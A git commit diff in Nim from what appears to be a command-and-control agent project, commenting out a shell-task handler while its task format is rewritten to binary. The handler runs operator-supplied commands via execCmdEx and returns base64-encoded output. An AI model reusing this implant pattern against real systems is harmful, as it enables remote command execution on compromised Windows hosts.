Started rewriting JSON task to custom binary structure. Parsed and serialized task object into seq[byte]
This commit is contained in:
@@ -1,30 +1,30 @@
|
||||
import winim, osproc, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
import ../common/types
|
||||
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments JSON string to obtain specific values
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
command = params["command"].getStr()
|
||||
arguments = params["arguments"].getStr()
|
||||
# # Parse arguments JSON string to obtain specific values
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# command = params["command"].getStr()
|
||||
# arguments = params["arguments"].getStr()
|
||||
|
||||
echo fmt"Executing command {command} with arguments {arguments}"
|
||||
# echo fmt"Executing command {command} with arguments {arguments}"
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
# try:
|
||||
# let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(output),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
Reference in New Issue
Block a user